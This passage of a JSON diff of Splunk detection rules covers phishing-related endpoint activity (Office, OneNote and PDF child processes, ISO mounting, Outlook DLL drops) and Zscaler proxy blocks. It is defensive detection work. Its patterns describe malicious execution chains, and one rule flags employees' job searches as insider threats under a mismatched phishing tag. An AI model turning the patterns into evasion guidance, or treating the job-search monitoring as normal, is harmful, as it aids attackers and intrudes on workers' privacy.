exfiltration.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name=outlook.exe by _time span=1h Processes.process_id Processes.process_name Processes.process Processes.dest Processes.process_guid | `drop_dm_object_name(Processes)` | join process_guid, _time [ | tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_name =\"*.dll\" Filesystem.file_path = \"*\\\\AppData\\\\Local\\\\Microsoft\\\\FORMS\\\\IPM*\" by _time span=1h Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path Filesystem.process_guid | `drop_dm_object_name(Filesystem)` | fields file_name file_path process_name process_path process dest file_create_time _time process_guid] | `windows_phishing_outlook_drop_dll_in_form_dir_filter`", - "tags": { - "analytic_story": [ - "Outlook RCE CVE-2024-21378" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "an outlook process dropped dll file into $file_path$ on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Windows Phishing PDF File Executes URL Link", - "description": "The following analytic detects suspicious PDF viewer processes spawning browser application child processes. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process names. This activity is significant as it may indicate a PDF spear-phishing attempt where a malicious URL link is executed, leading to potential payload download. If confirmed malicious, this could allow attackers to execute code, escalate privileges, or persist in the environment by exploiting the user's browser to connect to a malicious site.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"AcroRd32.exe\", \"FoxitPDFReader.exe\") Processes.process_name IN (\"firefox.exe\", \"chrome.exe\", \"iexplore.exe\") by Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process Processes.process Processes.process_id Processes.dest |`drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_phishing_pdf_file_executes_url_link_filter`", - "tags": { - "analytic_story": [ - "Snake Keylogger", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a pdf file opened in pdf viewer process $parent_process_name$ has a child process of a browser $process_name$ in $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Windows Phishing Recent ISO Exec Registry", - "description": "The following analytic detects the creation of registry artifacts when an ISO container is opened, clicked, or mounted on a Windows operating system. It leverages data from the Endpoint.Registry data model, specifically monitoring registry keys related to recent ISO or IMG file executions. This activity is significant as adversaries increasingly use container-based phishing campaigns to bypass macro-based document execution controls. If confirmed malicious, this behavior could indicate an initial access attempt, potentially leading to further exploitation, persistence, or data exfiltration within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_key_name= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\RecentDocs\\\\.iso\" OR Registry.registry_key_name= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\RecentDocs\\\\.img\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_phishing_recent_iso_exec_registry_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Azorult", - "Brute Ratel C4", - "IcedID", - "Qakbot", - "Remcos", - "Warzone RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An ISO file was mounted on $dest$ and should be reviewed and filtered as needed.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Windows Spearphishing Attachment Connect To None MS Office Domain", - "description": "The following analytic identifies suspicious Office documents that connect to non-Microsoft Office domains. It leverages Sysmon EventCode 22 to detect processes like winword.exe or excel.exe making DNS queries to domains outside of *.office.com or *.office.net. This activity is significant as it may indicate a spearphishing attempt using malicious documents to download or connect to harmful content. If confirmed malicious, this could lead to unauthorized data access, malware infection, or further network compromise.", - "search": "`sysmon` EventCode=22 Image IN (\"*\\\\winword.exe\",\"*\\\\excel.exe\",\"*\\\\powerpnt.exe\",\"*\\\\mspub.exe\",\"*\\\\visio.exe\",\"*\\\\wordpad.exe\",\"*\\\\wordview.exe\",\"*\\\\onenote.exe\", \"*\\\\onenotem.exe\",\"*\\\\onenoteviewer.exe\",\"*\\\\onenoteim.exe\", \"*\\\\msaccess.exe\") AND NOT(QueryName IN (\"*.office.com\", \"*.office.net\")) | stats count min(_time) as firstTime max(_time) as lastTime by Image QueryName QueryResults QueryStatus Computer | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_spearphishing_attachment_connect_to_none_ms_office_domain_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a office document process $Image$ connect to an URL link $QueryName$ in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Windows Spearphishing Attachment Onenote Spawn Mshta", - "description": "The following analytic detects OneNote spawning `mshta.exe`, a behavior often associated with spearphishing attacks. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where OneNote is the parent process. This activity is significant as it is commonly used by malware families like TA551, AsyncRat, Redline, and DCRAT to execute malicious scripts. If confirmed malicious, this could allow attackers to execute arbitrary code, potentially leading to data exfiltration, system compromise, or further malware deployment. Immediate investigation and containment are recommended.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"onenote.exe\", \"onenotem.exe\") `process_mshta` by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_spearphishing_attachment_onenote_spawn_mshta_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "office parent process $parent_process_name$ will execute a suspicious child process $process_name$ with process id $process_id$ in host $dest$", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Winword Spawning Cmd", - "description": "The following analytic identifies instances where Microsoft Word (winword.exe) spawns the command prompt (cmd.exe). This behavior is detected using Endpoint Detection and Response (EDR) telemetry, focusing on process creation events where the parent process is winword.exe. This activity is significant because it is uncommon and often associated with spearphishing attacks, where malicious attachments execute commands via cmd.exe. If confirmed malicious, this could allow an attacker to execute arbitrary commands, potentially leading to further system compromise, data exfiltration, or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=winword.exe `process_cmd` by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `winword_spawning_cmd_filter`", - "tags": { - "analytic_story": [ - "CVE-2023-21716 Word RTF Heap Corruption", - "DarkCrystal RAT", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Target" - ] - } - ], - "message": "$parent_process_name$ on $dest$ by $user$ launched command: $process_name$ which is very common in spearphishing attacks.", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Winword Spawning PowerShell", - "description": "The following analytic identifies instances where Microsoft Word (winword.exe) spawns a PowerShell process. This behavior is detected using Endpoint Detection and Response (EDR) telemetry, focusing on process creation events where the parent process is winword.exe. This activity is significant because it is uncommon and often associated with spearphishing attacks, where malicious documents execute encoded PowerShell commands. If confirmed malicious, this could allow an attacker to execute arbitrary code, potentially leading to data exfiltration, system compromise, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=\"winword.exe\" `process_powershell` by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `winword_spawning_powershell_filter`", - "tags": { - "analytic_story": [ - "CVE-2023-21716 Word RTF Heap Corruption", - "DarkCrystal RAT", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Target" - ] - } - ], - "message": "$parent_process_name$ on $dest$ by $user$ launched the following powershell process: $process_name$ which is very common in spearphishing attacks", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Winword Spawning Windows Script Host", - "description": "The following analytic identifies instances where Microsoft Winword.exe spawns Windows Script Host processes (cscript.exe or wscript.exe). This behavior is detected using Endpoint Detection and Response (EDR) telemetry, focusing on process creation events where the parent process is Winword.exe. This activity is significant because it is uncommon and often associated with spearphishing attacks, where malicious scripts are executed via document macros. If confirmed malicious, this could lead to code execution, allowing attackers to gain initial access, execute further payloads, or establish persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=\"winword.exe\" Processes.process_name IN (\"cscript.exe\", \"wscript.exe\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `winword_spawning_windows_script_host_filter`", - "tags": { - "analytic_story": [ - "CVE-2023-21716 Word RTF Heap Corruption", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Target" - ] - } - ], - "message": "User $user$ on $dest$ spawned Windows Script Host from Winword.exe", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Zscaler Adware Activities Threat Blocked", - "description": "The following analytic identifies potential adware activity blocked by Zscaler. It leverages web proxy logs to detect blocked actions associated with adware threats. Key data points such as device owner, user, URL category, destination URL, and IP are analyzed. This activity is significant as adware can degrade system performance, lead to unwanted advertisements, and potentially expose users to further malicious content. If confirmed malicious, it could indicate an attempt to compromise user systems, necessitating further investigation and remediation to prevent potential data breaches or system exploitation.", - "search": "`zscaler_proxy` action=blocked threatname=*adware* | stats count min(_time) as firstTime max(_time) as lastTime by action deviceowner user urlcategory url src dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `zscaler_adware_activities_threat_blocked_filter`", - "tags": { - "analytic_story": [ - "Zscaler Browser Proxy Threats" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "url", - "type": "URL String", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Adware Activity blocked from dest -[$dest$] on $src$ for user-[$user$].", - "risk_score": 8, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Zscaler Behavior Analysis Threat Blocked", - "description": "The following analytic identifies threats blocked by the Zscaler proxy based on behavior analysis. It leverages web proxy logs to detect entries where actions are blocked and threat names and classes are specified. This detection is significant as it highlights potential malicious activities that were intercepted by Zscaler's behavior analysis, providing early indicators of threats. If confirmed malicious, these blocked threats could indicate attempted breaches or malware infections, helping security teams to understand and mitigate potential risks in their environment.", - "search": "`zscaler_proxy` action=blocked threatname!=\"None\" threatclass=\"Behavior Analysis\" | stats count min(_time) as firstTime max(_time) as lastTime by action deviceowner user threatname url src dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `zscaler_behavior_analysis_threat_blocked_filter`", - "tags": { - "analytic_story": [ - "Zscaler Browser Proxy Threats" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "url", - "type": "URL String", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Adware Behavior Analysis Threat from dest -[$dest$] on $src$ for user-[$user$].", - "risk_score": 8, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Zscaler CryptoMiner Downloaded Threat Blocked", - "description": "The following analytic identifies attempts to download cryptomining software that are blocked by Zscaler. It leverages web proxy logs to detect blocked actions associated with cryptominer threats, analyzing key data points such as device owner, user, URL category, destination URL, and IP. This activity is significant for a SOC as it helps in early identification and mitigation of cryptomining activities, which can compromise network integrity and resource availability. If confirmed malicious, this activity could lead to unauthorized use of network resources for cryptomining, potentially degrading system performance and increasing operational costs.", - "search": "`zscaler_proxy` action=blocked threatname=*miner* | stats count min(_time) as firstTime max(_time) as lastTime by action deviceowner user urlcategory url src dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `zscaler_cryptominer_downloaded_threat_blocked_filter`", - "tags": { - "analytic_story": [ - "Zscaler Browser Proxy Threats" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "url", - "type": "URL String", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential CryptoMiner Downloaded Threat from dest -[$dest$] on $src$ for user-[$user$].", - "risk_score": 32, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Zscaler Employment Search Web Activity", - "description": "The following analytic identifies web activity related to employment searches within a network. It leverages Zscaler web proxy logs, focusing on entries categorized as 'Job/Employment Search'. Key data points such as device owner, user, URL category, destination URL, and IP are analyzed. This detection is significant for SOCs as it helps monitor potential insider threats by identifying users who may be seeking new employment. If confirmed malicious, this activity could indicate a risk of data exfiltration or other insider threats, potentially leading to sensitive information leakage or other security breaches.", - "search": "`zscaler_proxy` urlsupercategory=\"Job/Employment Search\" | stats count min(_time) as firstTime max(_time) as lastTime by action deviceowner user urlcategory url src dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `zscaler_employment_search_web_activity_filter`", - "tags": { - "analytic_story": [ - "Zscaler Browser Proxy Threats" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "url", - "type": "URL String", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Employment Search Web Activity from dest -[$dest$] on $src$ for user-[$user$].", - "risk_score": 4, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Zscaler Exploit Threat Blocked", - "description": "The following analytic identifies potential exploit attempts involving command and script interpreters blocked by Zscaler. It leverages web proxy logs to detect incidents where actions are blocked due to exploit references. The detection compiles statistics by user, threat name, URL, hostname, file class, and filename. This activity is significant as it helps identify and mitigate exploit attempts, which are critical for maintaining 